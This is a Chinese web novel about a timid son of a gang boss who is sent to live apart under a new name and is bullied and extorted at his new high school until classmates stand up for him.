《青春的烬火》
第一章:割裂的晨光
清晨六点半,薛晴推开张霆琛的房门时,木格窗棂刚漏进一丝天光。“霆琛起床了,今天是你高中第一天开学,可不能迟到。”
她四十多岁的脸上刻着常年操劳的细纹,围裙上还沾着昨夜炖雪梨的糖渍——那是张霆琛小时候咳嗽时,她必做的甜汤。她叫薛晴,是慕容家的仆人,说是仆人,可在张霆琛心里,“薛妈”比血缘更亲——毕竟母亲早逝,他记事起便是这双手替他掖被角、擦伤口。
床上的少年把脸埋进枕头,闷闷地咕哝:“薛妈,能不能还叫我小琰?这名字听着硌得慌。”
薛晴走到窗边掀开窗帘,晨光漏进来,照亮少年蜷着的脊背。她叹了口气,指尖在衣角搓了搓:“霆琛,你该懂老爷的心思,市东头那几个场子上周刚出了事,道上规矩你也知道一些,从今儿起,世上只有张霆琛,没有慕容景琰了。老爷说了,再有人喊错就家法处置”。
张霆琛踢开被子坐起来,脚踝处有道浅疤——那是七岁那年,他偷偷跟着慕容景云去码头,被碎玻璃划的。“我哥怎么不用改?”他盯着地板缝里的灰尘,声音细若蚊蚋。
“你哥小云都多大了,又是你爹的左膀右臂,”薛妈转身去衣柜里翻校服,“他在道上闯出名堂,自然不用藏着。你不一样,性子文静,将来做个舞文弄墨的先生不好吗?总比在刀尖上舔血强。”
“您直接说我懦弱得了。”张霆琛打断她,声音陡然低下去,“反正我不如我哥,从小就是。”?0?2薛妈话像根细刺,扎得张霆琛抿紧了唇。他知道自己胆小,小学初中都被同学当提款机都不敢吭声,孤僻得像棵长在墙角的草。反观大哥慕容景云,人高马大,十六岁就把容市几个场子管得风生水起,是父亲慕容廷最得意的左膀右臂。
“傻孩子,”薛晴把叠好的校服放在床尾,伸手想摸他的头,又顿在半空,“文静不是错。你哥爱舞刀弄枪,你以后当个写书的先生不好吗?至少不用像我们,天天提着心过日子。”
张霆琛没接话,下床时,脚踝撞在床腿上,他疼得抽了口凉气,却没作声。镜子里的少年脸色苍白,眼下有淡淡的青影,校服穿在身上空荡荡的,像挂在竹竿上的布片。
楼下传来碗筷碰撞的声响。张霆琛走到楼梯口时,就看见父亲慕容廷坐在主位,手里夹着烟,烟雾缭绕中,那张常年阴鸷的脸更显冷峻。旁边坐着师傅陈海,一身黑衣,刀柄从后腰露出半截,泛着冷光。大哥慕容景云正往父亲碗里夹菜,他个子高,袖口挽起,小臂上有道新结的疤,是昨天跟陈海对练时留下的。
“爸,师傅,大哥早。”张霆琛垂着脑袋,声音细得像蚊子哼。
“啪!”慕容廷猛地拍在桌上,粥碗里的米粒溅出来。“没吃饱还是怎么着?说话有气无力的,跟个娘们似的!我怎么养了你这么个废物!”
张霆琛的手指攥紧了校服衣角,指甲几乎嵌进肉里。慕容景云“腾”地站起来,挡在他身前:“爸,你少说两句!小弟才多大,你总这么骂他干什么?”薛妈也忙着打圆场:“就是,小琰……不,霆琛这孩子乖得很……”话没说完,她就意识到说漏了嘴,脸色一白。
慕容廷没看她,推开椅子站起来,皮鞋在地板上踩出沉重的声响。走到门口时,他忽然停下,背对着众人说:“西街的房子我已经租好了,今天就搬过去。薛妈跟你一起住,以后别回这个家了,也别跟家里人联系。”
空气瞬间凝固。张霆琛猛地抬头,眼泪猝不及防地涌上来,喉咙像被砂纸磨过,只能发出破碎的音节:“我……知道了。”慕容景云伸手摸了摸他的头,掌心带着习武人的温热,想说什么安慰一下,最后却只是叹了口气,对陈海说:“海叔,去地下室练练。”两人一前一后离开,脚步声消失在楼梯口。
客厅里只剩下张霆琛和薛晴,少年再也撑不
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住,扑进女人怀里,肩膀剧烈地颤抖。这不是第一次了。以前他在学校被人堵在厕所里要钱,回家没敢说,却被父亲从薛晴口中问了出来,当时也是这样,父亲摔了茶杯,骂他丢尽了慕容家的脸。
慕容景云扯松领带,露出锁骨处狰狞的旧伤——那是三年前,为救父亲挡下的**。紧接着,“砰!砰!砰!”地下室传来沉闷的对打声。再一看,慕容景云被陈海压在地上,刀刃抵着他的咽喉,冰凉的触感让他瞬间清醒。“两分三十秒,出了七个破绽,你走神了。”陈海的声音没什么情绪,手却没松开。
慕容景云喘着气,汗水滴在水泥地上:“龙叔,我爹是不是太狠了?小弟才十五岁……”
陈海收起刀,拉他起来,指尖在他肩上的伤口按了按:“当年你娘**的,你忘了?”他的声音陡然低沉,“杀她的人,你爹动不了。把霆琛送走,是怕他被盯上。”陈海的拳头攥得咯咯响,“你爹不是铁石心肠——刚才他出去时,我看见他抹眼泪了。”
慕容景云愣住了。记忆里父亲总是暴躁、威严,像座不可撼动的山,他从未想过那座山也会流眼泪。
紧接着陈海从腰间抽出半卷泛黄的牛皮纸,上面用朱砂画着戴着金丝眼镜的男人,"记住,这是害死你母亲的人。
慕容景云的指甲深深掐进掌心。六年前那个雨夜又涌现在眼前:母亲被玷污的惨状、父亲跪在地上的绝望、还有陈海递到他手里的那把带血的**。此刻地下室的白炽灯嗡嗡作响,将两人的影子拉得很长,宛如两道随时出鞘的刀。
“想保护你弟弟,想给你娘报仇,就变强。”陈海看着他,眼神锐利如刀,“只有站到顶点,才能把那些人踩在脚下。”
这句话像颗种子,埋进慕容景云心里。**,这句低语将让他在刀光血影里摸爬滚打六年,更不知道,这场蓄谋已久的复仇,早已落入另一个人的棋盘。
第二章:西区附中初遇
张霆琛站在西区附中的铁门前,书包带被手指攥得发皱。初秋的风卷着操场上的尘土掠过脸颊,带着点干燥的凉意,可他心里的那股憋闷比这风更沉——薛妈刚才那句“在哪薛妈都陪着你”像根细针,轻轻挑了下他发酸的鼻尖,可“不能回家”四个字,却像块浸透了冷水的棉花,死死堵在喉咙口。
他吸了吸鼻子,把涌到眼眶的湿意憋回去,转身时,薛妈还站在马路对面望着他,鬓角的碎发被风吹得乱晃。张霆琛扯了扯嘴角想笑,却怎么也扬不起脸,只能低着头,一步一挪地走进校门。教学楼里的喧闹声像潮水般涌来,高一新生们背着印着图案的新书包,三三两两地聚在走廊里,校服领口露出鲜艳的T恤边,叽叽喳喳的笑声撞得他耳膜发疼。
张霆琛攥着书包带加快脚步,脑子里全是早上的画面:父亲拍在餐桌上的手掌泛着青,那句“废物”像石子砸进冰湖,震得他心口发麻;还有哥哥慕容景云摸他头时,掌心那点转瞬即逝的温度……他越想越乱,脚下没留神,肩膀“咚”地撞上一个硬邦邦的后背。
“操!”一声骂骂咧咧的吼叫炸在耳边,张霆琛只觉得一股蛮力涌来,自己像个破布娃娃似的摔在地上。书包拉链崩开,铅笔盒滚出去,里面的自动铅笔、橡皮撒了一地,一块印着小熊图案的橡皮骨碌碌滚到一双限量版球鞋前,那是许盛的鞋。
许盛转过身,染成黄毛的脑袋在人群里格外扎眼,校服外套被他系在腰上,露出里面印着骷髅头的黑色T恤。他看着摔在地上的张霆琛,眼里的烦躁像火星子似的窜起来:“走路不长眼?”他弯腰捡起那块小熊橡皮,捏在手里搓了搓,突然狠狠砸在张霆琛脸上,“跟你说话呢,哑巴了?”
张霆琛捂着被砸中的脸颊爬起来,膝盖磕在**石地上,隔着裤子都能感觉到一片麻疼。他慌忙去捡文具,手指刚触到铅笔盒,就被许盛一把揪住衣领。后背“砰”地撞在墙上,胸腔里的气差点被挤出去,他仰着头,看见许盛的喉结上下滚动,嘴里的烟味混着薄荷糖的味道扑过来:“我再说最后一遍,下次再敢撞我,直接把你这双破眼挖出来喂狗。滚。”
许盛松开手时,张霆琛的衣领已经皱成了一团。他的眼泪在眼眶里打转,不是因为疼,是心里那股委屈没头没脑地涌上来——早上被父亲赶出门,现在又平白挨顿骂,他张了张嘴,想解释自己不是故意的,可喉咙像被堵住,一个字也说不出来。他低着头,把散落的文具胡乱塞进书包,周围有同学在偷笑,有人指指点点,那些目光像细小的针,扎得他脖子发烫。他没敢抬头,攥紧书包带快步冲进一年二班的教室。
教室里的风扇“嗡嗡”转着,扬起细小的灰尘。张霆琛找了个中间排靠窗的位置坐下,刚把书包塞进桌肚,旁边的空位就被人“哐当”一声拉开椅子。一个戴黑框眼镜的男生坐过来,镜片后的眼睛骨碌碌转,先扫了眼张霆琛皱巴巴的衣领,又瞥了眼门口,才压低声音问:“哥们,你刚撞上许盛了?”
张霆琛点点头,没说话。
“啧啧,你可得当心了。”男生推了推眼镜。“他表哥是钟群,二中的扛把子,听说上个月把隔壁职高的人打进医院了,在西区这一片没人敢惹。许盛在小学就天天打架,现在跟着他表哥混,更横了。”他顿了顿,伸出手,“我叫苏旭,你呢?”
张霆琛看着他热情的样子,心里松了些,这是第一次有人在他受欺负后找他搭话,他局促的握了握对方的手“张霆琛,以后多多关照。”
“张霆琛?好名字。”苏旭咧嘴一笑,突然凑近了些,声音压得更低,“那个……你身上有一百块钱吗?我早上出门太急,钱包落家了,中午想跟同学去吃巷尾那家麻辣烫。”
张霆琛愣了下,从书包侧袋掏出钱包。那是个黑色的皮质钱包,是哥哥慕容景云去年送他的生日礼物。他抽出一张百元钞票递过去,动作自然得像递一块橡皮。
苏旭却像被烫到似的缩回手,眼睛瞪得溜圆:“不是,咱俩刚认识十分钟,你就敢借钱给我?不怕我卷钱跑路啊?”
张霆琛被他逗笑了,嘴角弯起个浅浅的弧度:“一百块钱而已,跑不远。”在他的世界里,钱从来不是需要纠结的东西——以前在初中,同学找他“借”钱买游戏机、充点卡,他从来没拒绝过,父亲的钱夹里永远有取不完的现金。
“够意思!”苏旭一把抢过钱,塞进校服口袋,拍着胸脯保证,“明天!明天我一准还你!”他看着张霆琛,忽然凑近了些,“说实话,你这人比那些装模作样的强多了,以后咱就是朋友了。”
张霆琛心里像被什么东西轻轻撞了下,暖烘烘的。他刚想说话,教室后门突然传来一声咳嗽。班主任抱着教案站在门口,四十多岁的年纪,烫着一丝不苟的卷发,金边眼镜后的眼睛像X光似的扫过全场,最后定格在凑在一起的张霆琛和苏旭身上。
“你们两!”班主任把教案往讲台上一摔,粉笔灰腾起来,“上课铃响了还聊个不停?回自己位置去!”
苏旭吐了吐舌头,冲张霆琛做了个鬼脸。张霆琛坐直身子,看着班主任翻开点名册,心里有点发慌——他从小就怕老师,尤其是这种看起来很严厉的。
“王磊。”“到。”“张萌。”“到。”……点名声此起彼伏,轮到“张霆琛”时,班主任顿了顿,抬眼看向他:“张霆琛?”
“到。”张霆琛站起来,声音有点发颤。
“嗯,”班主任点点头,翻开手里的成绩单,“入学考试全市第一,不错。从今天起,你当班长。”
教室里响起稀稀拉拉的掌声,有人小声议论。张霆琛刚想坐下,就感觉一道视线像冰锥似的扎过来。他顺着那道视线望去,前排一个男生正转过头,白净的脸上没什么表情,眼神却冷得像结了冰——那是谢逸轩,刚才点名时,他的声音又轻又闷。
下课铃刚响,谢逸轩就踩着椅子腿的“咯吱”声走了过来。他比张霆琛矮小半头,却故意仰着下巴,双手撑在杨炎的桌子上,指关节因为用力而发白:“你就是是张霆琛?”他的声音很尖,像指甲刮过玻璃,“凭什么当班长?就因为考了个
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破第一?小白脸一个。”
周围的同学都看了过来,张霆琛刚想解释“班长是老师选的”,前排突然传来“啪”的一声——一个女生把笔摔在桌上,猛地站起来。那女生梳着高马尾,露出光洁的额头,鼻梁高挺,眼睛亮得像淬了火的钢珠,正是陈曦。
“谢逸轩,你嘴巴放干净点!”陈曦走到张霆琛旁边,个子比谢逸轩还高小半个头,“谁不知道你爸给教务处塞了五千块钱,想让你当班长?现在没捞着,就来找别人麻烦?要点脸吗?”
谢逸轩的脸“唰”地红了,从脸颊一直蔓延到耳根。他指着陈曦,声音都在发抖:“你胡说!陈曦,你少血口喷人!”
“我胡说?”陈曦冷笑一声,从口袋里掏出手机,点开一张照片,“要不要我把你爸昨天晚上给王老师塞购物卡的照片发班级群里?”
谢逸轩的脸瞬间变得惨白,他狠狠地瞪了张霆琛一眼,又看了看陈曦手里的手机,突然转身就走,椅子被他带得“哐当”一声翻倒在地。
张霆琛看着谢逸轩的背影,心里直打鼓,还没回过神,就感觉手里被塞进一张纸条。粉色的便签纸上,用黑色水笔画着个歪歪扭扭的笑脸,下面是一串手机号。
“拿着。”陈曦收回手,抱臂看着他,嘴角撇了撇,“谢逸轩要是找你麻烦,打这个电话。我叫陈曦。”她上下打量了张霆琛一番,“看你长得挺结实,怎么跟个软柿子似的?男人点行不行?”
张霆琛捏着那张纸条,指尖触到纸面的温热,心里有点乱。
“喂,回魂了。”苏旭凑过来,用胳膊肘碰了碰他,“你可真行,刚开学就把俩大佬得罪了。”他压低声音,“陈曦她家是搞房地产的,全市一半的楼盘都是她家开发的;谢逸轩他爸是西区派出所的所长,你说你这运气……”
“你怎么什么都知道?”张霆琛忍不住问。
“秘密。”苏旭挤了挤眼睛,“总之,以后跟我混,保你平安。”
一整天下来,张霆琛被苏旭的插科打诨逗得笑了好几回。放学铃响时,他背着书包走出教室,看见薛妈站在校门口的老槐树下,夕阳把她的影子拉得很长,鬓角的些许白发在光线下格外显眼。
“薛妈!”张霆琛跑过去,一把抱住她,把脸埋在她身上。
薛妈拍着他的背,声音软软的,“怎么这么开心”
张霆琛把事一说,薛妈也替他高兴,张霆琛性格内向,从小没什么朋友,看来来这学校是对的。
“那挺好啊。”薛妈笑了,“走,回家,给你做了炸鸡腿,刚出锅的。”
张霆琛跟着薛妈走到自行车旁,那是辆崭新的蓝色山地车,车把上还系着红绳。“以后就骑这个上学?”他摸着冰凉的车座,心里有点发空——以前都是坐家里的黑色轿车,司机老陈会提前十分钟把车停在门口。
“嗯,”郭妈声音低了些,“老爷说,这样安全。”
张霆琛没再说话,跨上自行车。薛妈骑着另一辆女士自行车跟在旁边,两人沿着马路慢慢走。夕阳把他们的影子叠在一起,又被风吹得微微晃动。
第三章:躲不开的麻烦
天刚蒙蒙亮,窗玻璃上还凝着层薄薄的水汽。张霆琛躺在床上,听着窗外早起的麻雀叽叽喳喳,眼睛盯着天花板上的纹路,嘴角却忍不住微微上扬。不知从何时起,初中生活竟成了他睁眼就盼着的事——是因为苏旭那个总爱咋咋呼呼的朋友?还是因为李晓晓?那个总把校服袖子撸到胳膊肘、说话带点冲劲儿,却会在他被谢逸轩推搡时冷冷一句“住手”的女孩?他说不准,只知道胸腔里像揣了颗泡在蜜里的跳跳糖,甜丝丝地闹腾着。
郭妈把盛着豆浆的搪瓷碗放在桌上,蒸腾的热气模糊了厨房的窗户。“小琛,快吃,油条刚炸好的。”张霆琛三两口扒完饭,背上洗得发白的书包,推着自行车出了门。新家到学校的路不算远,十五分钟的车程足够他慢悠悠晃过去,只是中途要穿过一个窄窄的路口,路边堆着拆迁剩下的碎砖,墙根下总蹲着几个抽着烟的闲散青年。
车轮碾过路面的碎石子,发出“咯吱”的轻响。张霆琛正琢磨着早读要背的英语单词以及幻想着课堂上可能发生的趣事时,三个身影突然从碎砖堆后窜出来,像三只拦路的野猫,猛地横在路中间。“小子,给我站住!”粗哑的吼声惊飞了停在电线杆上的麻雀。张霆琛猛地捏紧车闸,自行车“哐当”一声歪在路边,他抬头一看,心瞬间沉到了谷底——是谢逸轩,许盛,还有一个高颧骨、眼神凶狠的陌生男生。
他赶紧扶好车,低着头走到三人面前,声音小得像蚊子哼:“请……请问,有什么事吗?”
谢逸轩往前凑了凑,校服领口敞着,露出里面印着骷髅头的T恤,他抬手戳了戳张霆琛的胸口:“你抢了老子的班长,还敢问有什么事?”张霆琛的后背瞬间绷紧了,像被鞭子抽过一样,他赶紧弯下腰:“对不起,那……那我该怎么做?”
许盛在一旁嗤笑一声,脚边踢着块小石子,石子在地上划出刺耳的声响:“算你识相。今儿就两件事:第一,到学校就把班长给老子辞了;第二,哥几个最近手头紧,借点钱花花。”
张霆琛松了口气,还好不是要动手。他几乎是立刻点头,手忙脚乱地摸向口袋,掏出两张被体温焐得温热的百元钞票,那是薛妈昨天给的零花钱,他原本想买本漫画。“我……我身上就这些了,你看……够吗?”
许盛一把抢过钱,手指在钞票边缘捻了捻,眉头皱得像团烂纸:“就两百?打发要饭的呢?”张霆琛的手心全是汗,黏糊糊地贴在裤缝上:“真的……真的只有这些了……”谢逸轩踹了脚旁边的碎砖堆,砖块“哗啦啦”滚了一地:“算了,今天先放过你。要是放学前,老子还看见你当那个破班长,有你好果子吃!”
三人转身离开时,高颧骨男生故意撞了下张霆琛的肩膀,他踉跄着差点摔倒,自行车又“哐当”一声歪在地上。等他们的身影消失在路口拐角,张霆琛才扶着车把慢慢站直,后背的校服已经被冷汗洇湿了一大片,贴在身上,凉得像冰。他拍了拍车座上的灰,心里只有一个念头:没挨揍,真好。
进教室时,早读课的预备铃刚响。苏旭正趴在桌上转着笔,看见他进来,立刻挥着手喊:“张霆琛这边!”陈曦坐在旁边,双手插在校服兜里,见他进来,抬眼扫了他一下,眼神里带着点探究:“早上没撞见谢逸轩他们?”
张霆琛把书包塞进桌洞,扯出个比哭还难看的笑:“没……没有啊,路上挺顺的。”
陈曦挑了挑眉,没再追问,从桌洞里摸出颗薄荷糖,“啪”地拍在他桌上:“喏,提提神。”苏旭立刻凑过来,眼镜滑到了鼻尖上:“曦曦姐,我也要!”陈曦白了他一眼,伸手把他的眼镜推回原位:“一边去,就一颗。”苏旭立刻作揖:“那收我当小弟呗?以后我给你拎书包、占座位!”全班同学“哄”地一声笑开了,张霆琛剥开糖纸,薄荷的清凉在舌尖炸开,可心里却像堵着团湿棉花,闷得发慌。
没过多久,谢逸轩和许盛也进了教室。他们路过张霆琛座位时,许盛故意把那两百块钱在他眼前晃了晃,嘴角撇得老高,眼神里的得意像针一样扎人。张霆琛赶紧低下头,盯着课本上模糊的字迹,心里乱糟糟的,满脑子都是“辞职”两个字。他碰了碰苏旭的胳膊:“你昨天放学跑哪儿去了?一放学就没影了。”
苏旭的脸“腾”地红了,像被开水烫过,他用笔杆戳了戳张霆琛的手背:“关你屁事,是不是暗恋我啊?”张霆琛心里嘀咕:就你这戴眼镜的小矮个,白给都没人要。可他没敢说出口,只是扯了扯嘴角,算是回应。
上课铃响了,高中的第一堂课开始了。班主任走了进来,阳光透过窗户,在她身后勾勒出一圈柔和的光晕。“同学们好,”她的声音像温水一样,轻轻淌过安静的教室,仿佛昨天见到的另外一个人,“昨天开学典礼太忙,忘了自我介绍。我叫郭美玲,教大家英语,也是你们的班主任。希望咱们一起努力,将来都能考上心仪的大学。”
英语课安安静静地结束了。郭老师合上书,目光落在杨炎身上:“张霆琛,你来我办公室一趟。”张霆琛的心猛地一跳,捏着衣角跟了出去,心里盘算着该怎么开口说辞职的事。
办公室里飘着淡淡的粉笔灰味,郭老师翻着他的入学档案,指尖划过成绩单上的红勾:“你中学成绩很好啊,怎么会来咱们学校?”张霆琛的手指绞在一起:“我……我家搬家了。”郭老师抬起头,眼睛弯成了月牙:“没关系,是金子在哪儿都发光。这个班长你得好好当,我看你挺稳重的,会是我的好助手。”
张霆琛张了张嘴,想说“我不想当了”,可看着郭老师眼里的期待,话却像被胶水粘住了,怎么也说不出口。“老师还有点事要忙,”郭老师合上档案,对他笑了笑,“你先回去吧,多和新同学熟悉熟悉。”
他只能低着头应了声“好”,像只泄了气的皮球,蔫蔫地退出办公室。刚走到走廊拐角,就撞见了谢逸轩,一把将他拽到墙根,校服后背抵着冰冷的瓷砖,他打了个寒颤。“辞职的事跟老师说了没?”谢逸轩的声音像砂纸一样磨着他的耳朵。
张霆琛的心脏“怦怦”狂跳,几乎要撞破胸膛,他硬着头皮,声音发飘:“说……说了。”谢逸轩立刻笑了,拍了拍他的肩膀,力道大得像要把他的骨头拍碎:“算你识相!”等谢逸轩的脚步声消失在走廊尽头,张霆
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琛才沿着墙壁慢慢滑坐到地上,后背的冷汗把衬衫黏在墙上,浑身的力气都像被抽干了,连抬头的劲儿都没有。
回到教室,他趴在桌上,脸颊贴着冰凉的桌面,苏旭用胳膊肘碰了碰他:“张霆琛,你咋了?被人煮了?”陈曦也皱着眉:“是不是不舒服?”杨炎把脸埋在胳膊里,摇了摇头,一句话也说不出来。上课铃响了,两人只好作罢,可担忧的目光还是时不时落在他身上。
一直到中午放学,张霆琛都保持着趴着的姿势,像只缩在壳里的蜗牛。陈曦和苏旭一人拽他一只胳膊:“走了,吃饭去!”他瓮声瓮气地说:“我……我不饿。”
陈曦的手顿了顿,声音沉了下来:“是不是谢逸轩他们欺负你了?告诉我,我去找他们!”说着就要往外走。张霆琛赶紧抬起头,一把拉住她的胳膊,力气大得自己都吓了一跳:“别……别去,真没事,我……我去吃饭。”
陈曦盯着他看了几秒,见他眼里满是恳求,才松了手:“这才对。小旭,带路,姐请客!”苏旭一听不用自己掏钱,眼睛都亮了,立刻挺直腰板:“得嘞!目标食堂,冲啊!”
三人刚走到教室门口,几个穿着高二校服的男生晃了进来。带头的那个脖子上挂着串粗粗的银链子,走路时链子“哗啦”作响,他斜着眼扫视教室,像只巡视领地的恶犬,嚣张地喊道:“没走的,都给我交保护费!”旁边的两个跟班也跟着嚷嚷:“听见没?赶紧的,没听见坤哥说话吗?”
陈曦往前站了一步,双手叉腰,校服的袖子滑到胳膊肘,露出细瘦却挺直的小臂:“你算什么东西?凭什么要保护费?”
带头的男生叫徐坤,是高二出了名的“老大”。他平时哪受过这种顶撞,转头上下打量着陈曦,嘴角勾起一抹不怀好意的笑,像条吐着信子的蛇:“哟,还是个小辣椒,长得倒挺俊。怎么着?想跟哥哥玩玩?”
陈曦的脸“腾”地红了,不是羞的,是气的,她指着徐坤的鼻子骂道:“不要脸!”
苏旭赶紧跑过去打圆场,点头哈腰的样子像只讨食的狗:“坤哥,昨天我们已经交过一百块了啊,您忘了?”
徐坤斜了他一眼,眼神里的轻蔑像针一样扎人:“是你啊,小旭,一百块就想打发我?赶紧再交五百,今天这事儿就算了,不然……”他故意顿了顿,拳头“咔吧”响了一声。
苏旭的脸瞬间白了,嘴唇哆嗦着:“坤哥,我……我真没那么多钱啊……”
“啪!”一声脆响,像鞭子抽在空气里。徐坤一巴掌扇在苏旭脸上,苏旭的眼镜“哐当”掉在地上,镜片摔裂了一道缝。“没钱还敢替人出头?滚蛋!”徐坤吼道,接着伸手就去抓陈曦的胳膊:“今儿只要这姑娘陪我玩玩,啥都好说。”
苏旭想冲上去,却被徐坤的跟班死死按住,他挣扎着,嘴里喊着:“放开曦姐!”徐坤的跟班抬手就给了他一拳,苏旭闷哼一声,弯下了腰。
陈曦看着被打的苏旭,又看着伸向自己的那只带着烟味的脏手,怒火像岩浆一样在胸腔里炸开。她想也没想,抬手就给了徐坤一巴掌。“啪”的一声,比刚才那下更响,整个教室瞬间安静了。
第四章:意外的援手
徐坤捂着脸,指腹蹭过火辣辣的脸颊,非但没发火,眼里反倒亮起一种近乎贪婪的光。他上下打量着陈曦,像打量一件刚到手的新奇玩具,他舔了舔嘴唇,喉结滚动了一下,慢悠悠地开口:“你叫什么名字?”
“陈曦。”女孩的下巴抬的老高,声音里带着没散的火气。
徐坤听着这个名字,突然笑出声,银链子随着他的动作哗啦作响,“这样吧,做我女朋友,今天这事儿就算了,保护费还能给他们打个对折,怎么样?”
陈曦气得浑身发抖,另一只手猛地扬起来,却被旁边的小弟死死钳住,那小弟的手心全是汗,黏糊糊地贴在她皮肤上,让她一阵反胃。徐坤往前凑了凑,呼吸喷在她脸上,混着烟味和汗味,恶心得让人想躲:“急什么?想摸哥哥啊?晚上有的是时间,现在人多,我害羞。”
周围的小弟们立刻爆发出粗野的哄笑,有人吹着口哨,有人拍着大腿。陈曦的脸"腾"地红透了,不是羞的,是气的——血液全涌到了头顶,耳朵里嗡嗡作响。
"你......你别太过分!"一直缩在地上的张霆琛突然抬起头,声音抖得像秋风里的叶子,却带着股豁出去的执拗,"她是女生,你不能这样欺负人!"
徐坤这才正眼瞧他,像发现了什么有趣的玩意儿,突然爆发出大笑:“就你?瘦得跟豆芽菜似的,还想英雄救美?”他抬脚就往张霆琛肚子上踹,鞋底结结实实地撞上皮肉,张霆琛闷哼一声,像只被踩扁的纸盒子蜷在地上,眼泪终于忍不住滚了下来。
“看见没,这就是护你的下场?”徐坤得意地用鞋尖戳了戳张霆琛的脸,“只要陈曦跟我走,今天这事一笔勾销,保护费还能打五折,够给面子了吧?”
张霆琛想爬起来,可浑身的力气像被抽干了,手脚都在抖。从小到大被欺负惯了的懦弱,像根无形的绳子捆住了他,脑子里一片空白,只剩下"别打了"三个字在嗡嗡作响。
恰在这时,教室门“吱呀”一声被推开,许盛,谢逸轩和那个高颧骨男生走了进来。谢逸轩本就一肚子火,看到地上的张霆琛,顿时瞪圆了眼——不用问也知道,这小子肯定没辞职!许盛眼疾手快,掏出根烟递过去,脸上堆着笑:“坤哥,这是咋了,跟谁置气呢?”
徐坤叼着烟,下巴朝陈曦一扬:“你小子来得巧,哟,小轩也在啊,这几个不识抬举,给脸不要脸,还让这小丫头片子,给了我一嘴巴。”
谢逸轩等看清徐坤说的“小丫头”是陈曦时,顿时乐了,阴阳怪气的说:“哟,陈曦,跟坤哥叫板?这下栽了吧?”
陈曦刚要骂他“狗腿子”,就见徐坤抬手给了谢逸轩后脑勺一下:“怎么跟你大嫂说话呢?”
谢逸轩立刻装模作样的捂着脑袋赔笑:“是是是,我错了大嫂!”那副样子看得陈曦胃里直翻腾,她忍不住大喊:“你们就是一群流氓!”
旁边那个高颧骨男生听到这话,嘴角抽了抽,攥紧的拳头又慢慢松开,终究是没吭声。
谢逸轩没理会陈曦,转头看到地上的张霆琛,眼里瞬间冒了火:“坤哥,您先忙,我把这小子拉去厕所聊聊,**敢耍我!”
徐坤皱眉:“怎么回事?”一脸疑惑。
许盛赶紧凑过去解释:“这小子抢了小轩的班长,今早答应辞职,结果骗了我们,刚去办公室想补空缺,老师说班长压根没换人。”
“哦?”徐坤挑了挑眉,拍了拍谢逸轩的肩膀,“去吧。这丫头我留下。”
“别带他走!”陈曦急得往前冲,却被徐坤的小弟拦住。张霆琛坐在地上,像被抽走了魂似的看着他们你一言我一语,嘴唇哆嗦着说不出话。
谢逸轩伸手要拽张霆琛的胳膊,张霆琛下意识的往后缩。就在这时,陈曦突然喊出声:“我跟你走!放了我同学!”
谢逸轩立刻急了,跳起来嚷嚷:“凭什么啊!这小子敢骗我,不能就这么算了……”
“闭嘴!”徐坤直接把陈曦搂进怀里,对着谢逸轩吼道,“没听见你嫂子说话?把人放下!”
谢逸轩还想争辩,一直被按在墙角的苏旭突然像疯了一样冲过来,一把推开徐坤,将陈曦拉到身后。他从书包最里层掏出个用塑料袋裹了三层的信封,颤抖着抽出五百块钱递过去:“钱……钱给你,求你们,放我们走……”
徐坤的脸“唰”地沉了下来,他夺过钱,看都没看就揉成一团塞进裤兜,抬脚就往苏旭肚子上踹:“你算什么东西?给你脸了是吧!”周围的小弟像饿狼一样扑上去,拳头、脚尖雨点般落在苏旭身上,嘴里还骂着:“妈的,上次打轻了是吧!”
陈曦吓得脸都白了,想冲上去又被拦住;张霆琛趴在地上,脑子里只有一个念头:为什么我这么没用?
就在这混乱的时候,教室门被“砰”地踹开,三四个胳膊上戴着红布带(学生会标志)的男生走了进来。带头的留着寸头,耳朵上别着枚银色耳钉,他斜靠在门框上,似笑非笑地看着徐坤:“哟,这不是高二的徐坤吗?怎么越活越回去,跑来高一教室当山大王了?”身后的人跟着哄笑起来,声音里满是嘲讽。
徐坤看到来人,脸色变了变——是高三的黄伟,气焰顿时矮了半截,他咬了咬牙,丢下句“我们
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走”,就带着人匆匆往外挤,谢逸轩和许盛也赶紧跟了出去,生怕晚一步被黄伟盯上。
教室里终于安静下来,只剩下粗重的喘息声。张霆琛挣扎着爬起来,走到黄伟面前,小声说:“谢……谢谢你们。”
黄伟却像没听见似的,带着人径直走了,红布带在胳膊上晃得刺眼。张霆琛愣在原地,心里一片茫然。
陈曦赶紧扶起苏旭,他的校服被踹得全是脚印,嘴角还挂着血丝。“你怎么这么傻!”她又气又心疼,眼泪在眼眶里打转。
苏旭咧开嘴,露出颗缺了角的门牙,笑着说:“没事……不疼,他们走了就好。”
“还不疼?走,去医务室!”陈曦扶着他往门口走,又回头瞪了张霆琛一眼,“还愣着干什么?帮忙啊!”
张霆琛赶紧跑过去扶苏旭的另一边胳膊,声音哽咽:“谢谢你们……真的……从小到大,没人这么护着我……”
陈曦白了他一眼:“又哭?像什么样子!赶紧走,去医务室。”张霆琛赶紧用袖子擦了擦脸,用力点了点头。
医务室里,校医给苏旭涂药水时,他疼得龇牙咧嘴。张霆琛看着他,突然想起什么,小声问:“你昨天不是说没钱了吗?还向我借了一百,原来是交保护费……这五百块是……”
苏旭的眼泪突然“啪嗒啪嗒”掉在裤子上,刚才挨打的时候没哭,这会儿却哭得像个孩子,肩膀一抽一抽的:“这是……这是我爸寄回来的医药费……我妈病了,躺在床上不能动……我爸在工地打工,半年才回一次家……这钱要是没了,我妈就……”
陈曦一听,急得直跺脚:“你傻啊!为了我们,把你妈治病的钱给那群混蛋?”
苏旭低着头,眼泪把胸前的校服洇湿了一大片,一句话也说不出来。
陈曦咬了咬牙,从书包里掏出个粉色钱包,数了五张一百块递过去:“拿着!这钱你先给阿姨买药,不够再跟我说——我爸每月给我的零花钱够花。”
苏旭抬起头,看着那五百块钱,突然一把抱住陈曦,哭得更大声了,鼻涕蹭了她一肩膀。“喂!耍流氓啊!”陈曦一边推他一边喊,脸上却没真生气,眼眶反而红了,“你看你这鼻涕!恶心**!”
张霆琛站在一旁看着,心里像被什么东西填满了,暖暖的。这是他长这么大,第一次有朋友——会为他打架,会为他哭,会为他掏出救命钱的朋友。
**的是,这只是开始。未来的路还很长,会有更多人因为他的真诚、他的蜕变而**在他身边,为他撑起一片天,甚至陪他走上一条意想不到的路。当然,这些都是后话了。
第五章:暗流涌动
深秋的风卷着枯叶从校园操场掠过,张霆琛揉了揉胳膊上的淤青,跟在苏旭和陈曦身后走出医务室。夕阳的余晖将三人的影子拉得很长,他们沉默地穿过两条街,钻进一家挂着"老刘家常菜"招牌的小店。老板是个不爱说话的中年大叔,从不管学生们的闲杂事。
